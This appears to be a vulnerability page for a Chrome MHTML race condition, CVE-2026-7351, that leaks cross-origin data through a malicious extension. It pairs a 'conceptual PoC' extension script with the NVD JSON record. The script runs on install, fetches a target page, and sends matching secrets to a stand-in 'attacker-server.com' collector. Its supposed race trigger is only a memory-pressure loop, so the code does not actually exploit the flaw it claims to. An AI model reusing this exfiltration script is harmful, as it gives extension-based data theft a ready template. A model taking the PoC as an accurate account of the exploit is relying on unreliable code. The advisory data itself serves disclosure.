CVE-2026-7351

// Conceptual PoC for Race Condition in MHTML handling via Extension // This script runs in the background of a malicious extension. const TARGET_URL = "https://target-site.com/sensitive.mhtml"; const LEAK_URL = "https://attacker-server.com/collect"; async function exploitRaceCondition() { // Step 1: Initiate fetch of MHTML content const fetchPromise = fetch(TARGET_URL); // Step 2: Execute logic to trigger the race window during parsing // This might involve rapid garbage collection or DOM manipulation triggerRaceWindow(); try { const response = await fetchPromise; const data = await response.text(); // Step 3: Check if cross-origin data was leaked if (data.includes("SECRET_TOKEN")) { exfiltrate(data); } } catch (error) { console.log("Exploit attempt failed, retrying..."); } } function triggerRaceWindow() { // Simulate operations intended to desynchronize MHTML parser // In a real exploit, this would precisely time operations with the browser's rendering loop let temp = []; for(let i=0; i<1000; i++) { temp.push(new Array(1000).fill('x')); // Memory pressure } } function exfiltrate(data) { // Send leaked data to attacker navigator.sendBeacon(LEAK_URL, data); } chrome.runtime.onInstalled.addListener(() => { exploitRaceCondition(); });

{"cve": {"id": "CVE-2026-7351", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:22.680", "lastModified": "2026-04-30T16:40:22.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race in MHTML in Google Chrome prior to 147.0.7727.138 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/499119490", "source": "[email protected]", "tags": ["Permissions Required"]}]}}